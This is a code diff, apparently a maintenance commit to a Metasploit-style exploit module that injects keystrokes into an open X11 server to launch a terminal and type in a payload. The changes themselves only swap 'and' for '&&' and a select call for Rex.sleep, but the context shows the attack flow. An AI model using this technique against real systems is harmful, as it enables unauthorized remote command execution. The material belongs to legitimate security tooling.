@@ -169,7 +169,7 @@ def press_key(key)
169
169
res = sock . get_once
170
170
171
171
# Response should give 1 on first byte (Success)
172
- unless res and res [ 0 , 1 ] == "\x01 "
172
+ unless res && res [ 0 , 1 ] == "\x01 "
173
173
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Error pressing key: #{ key } #{ res . inspect } " )
174
174
end
175
175
@@ -208,7 +208,7 @@ def release_key(key)
208
208
res = sock . get_once
209
209
210
210
# Response should give 1 on first byte (Success)
211
- unless res and res [ 0 , 1 ] == "\x01 "
211
+ unless res && res [ 0 , 1 ] == "\x01 "
212
212
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Error releasing key: #{ key } #{ res . inspect } " )
213
213
end
214
214
@@ -276,7 +276,7 @@ def exploit
276
276
res = send_msg ( sock , req )
277
277
278
278
# Response should give 0x01 in first byte (Success)
279
- unless res and res [ 0 , 1 ] == "\x01 "
279
+ unless res && res [ 0 , 1 ] == "\x01 "
280
280
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 initial communication failed" )
281
281
end
282
282
@@ -294,7 +294,7 @@ def exploit
294
294
res = send_msg ( sock , req )
295
295
296
296
# Response should give 0x01 in first byte (Success)
297
- if res and res [ 0 , 1 ] == "\x01 "
297
+ if res && res [ 0 , 1 ] == "\x01 "
298
298
@xkeyboard_opcode = res [ 9 , 1 ] # Retrieve the XKEYBOARD opcode
299
299
else
300
300
#puts res.inspect
@@ -312,7 +312,7 @@ def exploit
312
312
# Retrieve the whole X11 details response
313
313
res = send_msg ( sock , req )
314
314
315
- unless res and res [ 0 , 1 ] == "\x01 "
315
+ unless res && res [ 0 , 1 ] == "\x01 "
316
316
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request XKEYBOARD (opcode 136) failed -" )
317
317
end
318
318
@@ -329,7 +329,7 @@ def exploit
329
329
res = send_msg ( sock , req )
330
330
331
331
# Response should give 0x01 in first byte (Success)
332
- unless res and res [ 0 , 1 ] == "\x01 "
332
+ unless res && res [ 0 , 1 ] == "\x01 "
333
333
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request QueryExtension (opcode 98) XInputExtension failed" )
334
334
end
335
335
@@ -346,7 +346,7 @@ def exploit
346
346
res = send_msg ( sock , req )
347
347
348
348
# Response should give 0x01 in first byte (Success)
349
- if res and res [ 0 , 1 ] == "\x01 "
349
+ if res && res [ 0 , 1 ] == "\x01 "
350
350
@xtest_opcode = res [ 9 , 1 ] # Retrieve the XTEST opcode
351
351
else
352
352
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request QueryExtension (opcode 98) XTEST failed" )
@@ -365,7 +365,7 @@ def exploit
365
365
res = send_msg ( sock , req )
366
366
367
367
# Response should give 0x01 in first byte (Success)
368
- if res and res [ 0 , 1 ] == "\x01 "
368
+ if res && res [ 0 , 1 ] == "\x01 "
369
369
@genericevent_opcode = res [ 9 , 1 ] # Retrieve the Generic Event Extension opcode
370
370
else
371
371
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request QueryExtension (opcode 98) Generic Event Extension failed" )
@@ -383,7 +383,7 @@ def exploit
383
383
res = send_msg ( sock , req )
384
384
385
385
# Response should give 0x01 in first byte (Success)
386
- unless res and res [ 0 , 1 ] == "\x01 "
386
+ unless res && res [ 0 , 1 ] == "\x01 "
387
387
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request XKEYBOARD failed" )
388
388
end
389
389
@@ -399,7 +399,7 @@ def exploit
399
399
res = send_msg ( sock , req )
400
400
401
401
# Response should give 0x01 in first byte (Success)
402
- unless res and res [ 0 , 1 ] == "\x01 "
402
+ unless res && res [ 0 , 1 ] == "\x01 "
403
403
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request XTEST failed" )
404
404
end
405
405
@@ -415,7 +415,7 @@ def exploit
415
415
res = send_msg ( sock , req )
416
416
417
417
# Response should give 0x01 in first byte (Success)
418
- unless res and res [ 0 , 1 ] == "\x01 "
418
+ unless res && res [ 0 , 1 ] == "\x01 "
419
419
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request GetKeyboardMapping (opcode 101) failed" )
420
420
end
421
421
@@ -448,7 +448,7 @@ def exploit
448
448
res = send_msg ( sock , req )
449
449
450
450
# Response should give 0x01 in first byte (Success)
451
- unless res and res [ 0 , 1 ] == "\x01 "
451
+ unless res && res [ 0 , 1 ] == "\x01 "
452
452
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - X11 Request XKEYBOARD failed" )
453
453
end
454
454
@@ -462,7 +462,7 @@ def exploit
462
462
463
463
# Wait X seconds to open the dialog
464
464
print_status ( "#{ rhost } :#{ rport } - Waiting #{ datastore [ 'TIME_WAIT' ] } seconds..." )
465
- select ( nil , nil , nil , datastore [ 'TIME_WAIT' ] )
465
+ Rex . sleep ( datastore [ 'TIME_WAIT' ] )
466
466
467
467
if datastore [ 'TARGET' ] == 0
468
468
# Start a xterm terminal
@@ -476,7 +476,7 @@ def exploit
476
476
477
477
print_status ( "#{ rhost } :#{ rport } - Waiting #{ datastore [ 'TIME_WAIT' ] } seconds..." )
478
478
# Wait X seconds to open the terminal
479
- select ( nil , nil , nil , datastore [ 'TIME_WAIT' ] )
479
+ Rex . sleep ( datastore [ 'TIME_WAIT' ] )
480
480
481
481
# "Type" our payload and execute it
482
482
print_status ( "#{ rhost } :#{ rport } - Typing and executing payload" )
0 commit comments